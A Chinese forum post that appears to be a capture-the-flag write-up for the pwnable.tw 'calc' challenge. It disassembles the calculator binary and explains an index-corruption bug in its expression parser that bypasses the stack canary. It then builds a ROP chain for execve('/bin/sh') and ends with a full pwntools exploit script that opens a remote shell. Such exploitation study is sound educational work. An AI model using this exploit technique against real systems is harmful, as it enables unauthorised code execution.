首页
论坛
课程
招聘
[原创]【CTF-PWN】pwnable.tw_calc
2018-6-6 09:33 5547

[原创]【CTF-PWN】pwnable.tw_calc

2018-6-6 09:33
5547

pwnable.tw_challenge_calc

首先运行一下
了解到这个程序大概类似计算器,计算我们输入的一个合法表达式的值
载入IDA分析:

0x01 程序过程

0x01 main
push    ebp
mov     ebp, esp
and     esp, 0FFFFFFF0h
sub     esp, 10h
mov     dword ptr [esp+4], offset timeout
mov     dword ptr [esp], 0Eh
call    ssignal
mov     dword ptr [esp], 3Ch
call    alarm
mov     dword ptr [esp], offset aWelcomeToSecpr ; "=== Welcome to SECPROG calculator ==="
call    puts
mov     eax, stdout
mov     [esp], eax
call    fflush
call    calc
mov     dword ptr [esp], offset aMerryChristmas ; "Merry Christmas!"
call    puts
leave
retn

可以看到这里关键处:

调用一个计时器
调用关键函数calc
0x02 calc
0x01 canary保护
 

可以看到函数开始:

push    ebp
mov     ebp, esp
sub     esp, 5B8h
mov     eax, large gs:14h
mov     [ebp+var_C], eax
xor     eax, eax

可以看到这里启用了canary保护
将内存large gs:14h中的(随机值)入栈
并在程序返回前对canary值进行检验:

nop
mov     eax, [ebp+var_C]
xor     eax, large gs:14h
jz      short locret_8049432

canary值在栈中位于返回地址和函数调用参数之间
从而保护了栈内数据,防止我们修改返回地址造成栈溢出

0x02 _bzero
 

canary入栈后calc调用了bzero:

mov     dword ptr [esp+4], 400h
lea     eax, [ebp+s]
mov     [esp], eax      ; s
call    _bzero

这里从ebp+s开始将一段长为0x400的空间清零

0x03 get_expr
 

开辟一段数据后
calc调用了get_expr函数

mov     dword ptr [esp+4], 400h
lea     eax, [ebp+s]
mov     [esp], eax
call    get_expr

跟进get_expr后发现一堆判断跳转
大致过程:

过滤掉除"[0-9],+,-,×,/,%"外的其他字符
读入我们输入的表达式到_bzero开辟的空间中
当我们成功读入返回值不为0,calc跳转到loc_80493CC处:
test    eax, eax
jnz     short loc_80493CC
0x04 init_pool
 

接下来calc调用init_pool:

lea     eax, [ebp+var_5A0]
mov     [esp], eax
call    init_pool

init_pool:

.text:08048FF8                 push    ebp
.text:08048FF9                 mov     ebp, esp
.text:08048FFB                 sub     esp, 10h
.text:08048FFE                 mov     eax, [ebp+arg_0]
.text:08049001                 mov     dword ptr [eax], 0
.text:08049007                 mov     [ebp+var_4], 0
.text:0804900E                 jmp     short loc_8049022
.text:08049010 ; ---------------------------------------------------------------------------
.text:08049010
.text:08049010 loc_8049010:                            ; CODE XREF: init_pool+2E↓j
.text:08049010                 mov     eax, [ebp+arg_0]
.text:08049013                 mov     edx, [ebp+var_4]
.text:08049016                 mov     dword ptr [eax+edx*4+4], 0
.text:0804901E                 add     [ebp+var_4], 1
.text:08049022
.text:08049022 loc_8049022:                            ; CODE XREF: init_pool+16↑j
.text:08049022                 cmp     [ebp+var_4], 63h
.text:08049026                 jle     short loc_8049010
.text:08049028                 leave
.text:08049029                 retn

很简短的一个过程:

从ebp+var_5A0开始
将长度为63h的空间清零
0x05 parse_expr
 

接下来calc调用 parse_expr函数:

lea     eax, [ebp+var_5A0]
mov     [esp+4], eax
lea     eax, [ebp+s]
mov     [esp], eax
call    parse_expr

可以看到其参数:

init_pool清零的那段空间的首地址:ebp+var_5A0
对应读入表达式的首地址:ebp+s

首先F5分析一下parse_expr的伪代码(分析在注释处):

signed int __cdecl parse_expr(int a1, _DWORD *a2)
{
  int v2; // ST2C_4
  int v4; // eax
  int v5; // [esp+20h] [ebp-88h]
  int i; // [esp+24h] [ebp-84h]
  int v7; // [esp+28h] [ebp-80h]
  char *s1; // [esp+30h] [ebp-78h]
  int v9; // [esp+34h] [ebp-74h]
  char s[100]; // [esp+38h] [ebp-70h]
  unsigned int v11; // [esp+9Ch] [ebp-Ch]

  v11 = __readgsdword(0x14u);
  v5 = a1;
  v7 = 0;
  bzero(s, 0x64u);
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)(*(char *)(i + a1) - 48) > 9 )// 比对ascii并转换成unsigned int后,检验是否为运算符
    {
      v2 = i + a1 - v5;                         // 运算符左操作数长度
      s1 = (char *)malloc(v2 + 1);
      memcpy(s1, v5, v2);
      s1[v2] = 0;
      if ( !strcmp(s1, "0") )                   // 判断运算符左边操作数是否为0
      {
        puts("prevent division by zero");
        fflush(stdout);
        return 0;
      }
      v9 = atoi((int)s1);                       // 将读入的操作数由字符串转化为int
      if ( v9 > 0 )
      {
        v4 = (*a2)++;                           // a2[0]保存操作数个数
        a2[v4 + 1] = v9;                        // 将第二个操作数存入第二次开辟的那段空间
      }
      if ( *(_BYTE *)(i + a1) && (unsigned int)(*(char *)(i + 1 + a1) - 48) > 9 )// 判断是否两个运算符连续
      {
        puts("expression error!");
        fflush(stdout);
        return 0;
      }
      v5 = i + 1 + a1;                          // v5指向运算符后一个字符,构造下一个循环
      if ( s[v7] )                              // 判断是否为第一个操作数(对上一个操作符进行判断)
      {
        switch ( *(char *)(i + a1) )
        {
          case 37:
          case 42:
          case 47:
            if ( s[v7] != 43 && s[v7] != 45 )   // 判断运算是否为加减从而确定运算顺序
            {
              eval(a2, s[v7]);
              s[v7] = *(_BYTE *)(i + a1);
            }
            else
            {
              s[++v7] = *(_BYTE *)(i + a1);
            }
            break;
          case 43:
          case 45:
            eval(a2, s[v7]);
            s[v7] = *(_BYTE *)(i + a1);
            break;
          default:
            eval(a2, s[v7--]);                  // 保证了最后while时运算符右边的优先级大于左边
            break;
        }
      }
      else                                      // 若此操作符不是第一个操作符,则读入s[v7]中
      {
        s[v7] = *(_BYTE *)(i + a1);
      }
      if ( !*(_BYTE *)(i + a1) )                // 字符串结尾
        break;
    }
  }
  while ( v7 >= 0 )
    eval(a2, s[v7--]);                          // 将因优先级问题没有计算的运算从右向左依次计算
  return 1;
}

除此之外,这里调用了eval函数来进行计算:

_DWORD *__cdecl eval(_DWORD *a1, char a2)
{
  _DWORD *result; // eax

  if ( a2 == 43 )
  {
    a1[*a1 - 1] += a1[*a1];
  }
  else if ( a2 > 43 )
  {
    if ( a2 == 45 )
    {
      a1[*a1 - 1] -= a1[*a1];
    }
    else if ( a2 == 47 )
    {
      a1[*a1 - 1] /= a1[*a1];
    }
  }
  else if ( a2 == 42 )
  {
    a1[*a1 - 1] *= a1[*a1];
  }
  result = a1;
  --*a1;
  return result;
}

可以看到:

init_pool中开辟的空间依次保存操作数(即calc中的:var_59C= dword ptr -59Ch)(开始位置保存操作数个数)
parse_expr中新开辟的空间s保存运算符
a2[*a2]处保存表达式最终结果

0x02 漏洞

在parse_expr中分析:
正常情况下最终应该在a2[1]处的值为结果
可当考虑到第一个字符即为运算符的情况下:
例如:+10

*a2=1(一个操作数)
a2[1]=10
s[0]='+'
a2[*a2-1]=a2[*a2-1]+a2[*a2]
即:a2[0]=a2[0]+a2[1]=11
而后--*a2,即:*a2=10
最终输出结果为a2[*a2]=a2[10]
这里注意*a2与 init_pool中开辟的63h长度的地址是连续的,记 init_pool中地址为a3的话
那么如果最后输出a3[*a2-1]=a2[*a2]

同样地:

如果+10+1
则会使:a2[10]=a2[10]+1
并输出a2[10]
那么当我们选取恰当大小的操作数即可绕过canary修改返回地址,从而实现溢出

这里注意:

每一次循环都会重新调用前面两个清零的函数,我们修改这里的数据,下一次依然会清零(不过这段地址外数据(包括我们要修改的返回地址)不会清零,可以修改)

我们查看一下程序的保护机制:

checksec  --file ./calc

发现:

这里开启了NX保护
我们无法在栈上执行shellcode拿到shell
同时看到这里:

objdump -R ./clac


程序是静态链接
我们这里考虑利用ROP调用sys_execve来获得shell

0x03 ROP

首先计算出返回地址与*a2的距离

0x5A0+0x4=1444
1444/4=361

故而:

输入+361时反回的即时calc的返回地址
我们需要连续修改a2[361]后的一段栈内数据来构造ROP链

我们最终需要:

ebx=“/bin/sh”字符串首地址
ecx=0
eax=0xb

我们需要构造一段栈内数据:

addr(pop eax;ret)->0xb->addr(pop ecx;popebx,ret)->0->addr"/bin/sh"->addr(int 80h)->"/bin/sh"

利用ROPgadget找到我们需要指令的地址:

ROPgadget --binary ./calc  --ropchain


下面:

我们需要先通过找到栈中对应位置的值计算出我们需要的差值
利用差值将从返回地址开始的一段栈数据修改成我们需要的值
例如:
我们先修改+361处的值
+361处需要修改为addr(pop eax;ret)(pop eax;ret指令地址)
假设pop eax;ret指令地址为:0x1
我们输入"+361",返回:0x0
它与我们需要的值差值为0x1-0x0=1
我们输入+361+1
即可修改+361处值为我们需要的0x1

注意:
其中/bin/sh字符串我们只知道其在栈中的相对地址,这里需要我们先取得main函数的ebp地址(我们取得+360(main函数基地址)是负数,需要+0x100000000转换后运算,再在最后-0x100000000修改对应位置值)

 

在main中:

and     esp, 0FFFFFFF0h
sub     esp, 10h

故而返回地址即在:

addr_re=([ebp]&0xfffffff0)-16   #注意脚本书写时运算优先级"+">"&"

而后再根据我们最后在栈内构造的字符串"/bin/sh"与返回地址的相对位置计算出字符串"/bin/sh"的地址即可

0x04 EXP

from pwn import *

p=remote('chall.pwnable.tw',10100)
#p=process("./calc")
key=[0x0805c34b,11,0x080701d1,0,0,0x08049a21,0x6e69622f,0x0068732f]
p.recv()
p.sendline('+360')
addr_bp=int(p.recv())
addr_re=((addr_bp+0x100000000)&0xFFFFFFF0)-16
addr_str=addr_re+20-0x100000000
addr=361
for i in range(5):
      p.sendline('+'+str(addr+i))
      ans=int(p.recv())
      if key[i]<ans:
             ans=ans-key[i]
             p.sendline('+'+str(addr+i)+'-'+str(ans))
      else:
          ans=key[i]-ans
          p.sendline('+'+str(addr+i)+'+'+str(ans))
      p.recv()
p.sendline('+'+'365'+str(addr_str))
p.recv()
for i in range(5,8):
      p.sendline('+'+str(addr+i))
      ans=int(p.recv())
      if key[i]<ans:
             ans=ans-key[i]
             p.sendline('+'+str(addr+i)+'-'+str(ans))
      else:
          ans=key[i]-ans
          p.sendline('+'+str(addr+i)+'+'+str(ans))
      p.recv()
p.send('kirin'+'\n')
p.interactive()

[公告]《CTF高级解混淆》训练营,国际顶尖CTF战队大牛亲自授课,助你快速成长!

最后于 2019-2-2 13:51 被admin编辑 ,原因: 图片本地费
上传的附件:
  • calc (724.61kb,16次下载)
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 1412
活跃值: 活跃值 (13)
能力值: ( LV7,RANK:108 )
在线值:
发帖
回帖
粉丝
DickBoomSky 活跃值 2020-1-12 14:25
2
0
init_pool这段代码的逻辑应该是将ebp+var_4开始的0x64长度的内存清零才对吧。当i=0x63的时候会将a1[i + 1]给置零。

游客
登录 | 注册 方可回帖
返回